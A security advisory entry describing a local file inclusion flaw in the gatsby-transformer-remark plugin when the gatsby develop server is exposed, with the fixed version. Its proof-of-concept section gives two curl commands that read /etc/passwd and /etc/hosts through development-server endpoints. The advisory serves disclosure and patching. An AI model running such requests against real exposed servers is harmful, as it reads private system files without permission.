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- Snyk ID SNYK-JS-GATSBYTRANSFORMERREMARK-5671901
- published 8 Jun 2023
- disclosed 8 Jun 2023
- credit Maxwell Garrett
How to fix?
gatsby-transformer-remark to version 6.10.0 or higher.
gatsby-transformer-remark is a Gatsby transformer plugin for Markdown using the Remark library and ecosystem
Affected versions of this package are vulnerable to Information Exposure via local file inclusion in
gatsby develop is in use and exposed to the internet.
NOTE: By default
gatsby develop is only accessible via the localhost
127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as
-H 0.0.0.0, or the
GATSBY_HOST=0.0.0.0 environment variable.
# Local File Inclusion in __file-code-frame
$ curl "http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&lineNumber=1"
# Local File Inclusion in __original-stack-frame
$ curl "http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&lineNumber=1&skipSourceMap=1"